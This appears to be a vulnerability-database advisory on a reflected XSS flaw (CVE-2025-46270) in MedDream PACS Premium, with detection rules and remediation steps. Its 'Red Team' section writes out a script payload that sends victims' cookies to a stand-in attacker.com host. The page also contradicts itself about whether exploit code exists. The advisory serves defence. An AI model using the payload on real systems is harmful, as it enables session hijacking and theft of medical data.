CVE-2025-46270
Executive Summary
CVE-2025-46270 is a reflected cross-site scripting (XSS) vulnerability in MedDream PACS Premium version 7.3.6.870. The flaw resides in the fetchPriorStudies functionality, allowing an attacker to inject arbitrary JavaScript code via a specially crafted URL. With a CVSS score of 6.1 (Medium), this vulnerability requires user interaction but no authentication, making it a viable vector for phishing or social engineering attacks. No public exploit code or patch is currently available, and the EPSS score is 0.0%, indicating low exploitation activity at this time.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Score: 6.1 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: Required (UI:R)
- Scope: Changed (S:C)
- Confidentiality Impact: Low (C:L)
- Integrity Impact: Low (I:L)
- Availability Impact: None (A:N)
The threat level is medium due to the requirement for user interaction, but the lack of authentication and the potential for session hijacking or data theft elevate the risk in targeted attacks.
Deep Dive & Mechanics
The vulnerability exists in the fetchPriorStudies endpoint of MedDream PACS Premium. This endpoint is designed to retrieve prior study data for comparison, but it improperly reflects user-supplied input in the response without sanitization or encoding. An attacker can craft a URL containing malicious JavaScript, such as:
https://target-ip/MedDream/WebService/fetchPriorStudies?studyUID=<script>alert('XSS')</script>
When a victim clicks this link, the script executes in the context of the MedDream PACS session, potentially allowing the attacker to steal cookies, perform actions on behalf of the user, or exfiltrate sensitive medical data.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
// fetchPriorStudies endpoint
app.get('/fetchPriorStudies', (req, res) => {
const studyUID = req.query.studyUID;
// Direct reflection without sanitization
res.send(`<div>Study UID: ${studyUID}</div>`);
});
Patched Code (Conceptual):
// fetchPriorStudies endpoint
app.get('/fetchPriorStudies', (req, res) => {
const studyUID = req.query.studyUID;
// Sanitize input using a library like DOMPurify or encode output
const sanitizedUID = sanitizeHtml(studyUID);
res.send(`<div>Study UID: ${sanitizedUID}</div>`);
});
The patch would involve proper output encoding or input validation to prevent script injection.
Exploitation & Lab Setup
Red Team
- Setup: Deploy a local instance of MedDream PACS Premium 7.3.6.870 in a controlled lab environment.
- Craft Payload: Create a malicious URL:
http://localhost/MedDream/WebService/fetchPriorStudies?studyUID=<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script> - Deliver: Send the URL to a victim via email or social engineering.
- Capture: Set up a listener on
attacker.comto receive exfiltrated cookies.
Blue Team
- Monitor: Look for unusual requests to
/fetchPriorStudieswith script-like parameters. - Block: Implement WAF rules to block
<script>tags in query parameters. - Educate: Train users to avoid clicking suspicious links, especially those containing
studyUIDparameters.
Indicators of Compromise (IOCs)
- Network: HTTP requests to
/MedDream/WebService/fetchPriorStudieswithstudyUIDcontaining<script>oronerrorattributes. - Logs: Web server logs showing
alert,document.cookie, orfetchin query strings. - Endpoint: Presence of unexpected JavaScript execution in the browser when accessing MedDream PACS.
Detection Engineering
YARA Rule
rule CVE_2025_46270_XSS {
meta:
description = "Detects reflected XSS attempts against MedDream PACS fetchPriorStudies"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-46270"
strings:
$xss1 = /fetchPriorStudies\?studyUID=.*<script/i
$xss2 = /fetchPriorStudies\?studyUID=.*onerror/i
$xss3 = /fetchPriorStudies\?studyUID=.*alert\(/i
condition:
any of them
}
Sigma Rule
title: Reflected XSS in MedDream PACS fetchPriorStudies
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects reflected XSS attempts against MedDream PACS fetchPriorStudies endpoint
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-uri-query|contains:
- "fetchPriorStudies?studyUID="
- "<script"
- "onerror"
- "alert("
condition: selection
falsepositives:
- Legitimate use of studyUID with special characters (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-46270 - Reflected XSS in MedDream PACS fetchPriorStudies"; flow:to_server,established; content:"/MedDream/WebService/fetchPriorStudies"; http_uri; content:"studyUID"; http_uri; pcre:"/(<script|onerror|alert\()/i"; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Implement a Web Application Firewall (WAF) rule to block requests containing
<script>oronerrorin thestudyUIDparameter. - Short-term: Apply input validation and output encoding to the
fetchPriorStudiesendpoint. Use a library like OWASP Java Encoder or DOMPurify. - Long-term: Upgrade to a patched version of MedDream PACS when available. Monitor vendor advisories for updates.
- User Training: Educate users on the risks of clicking untrusted links, especially those containing
studyUIDparameters.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.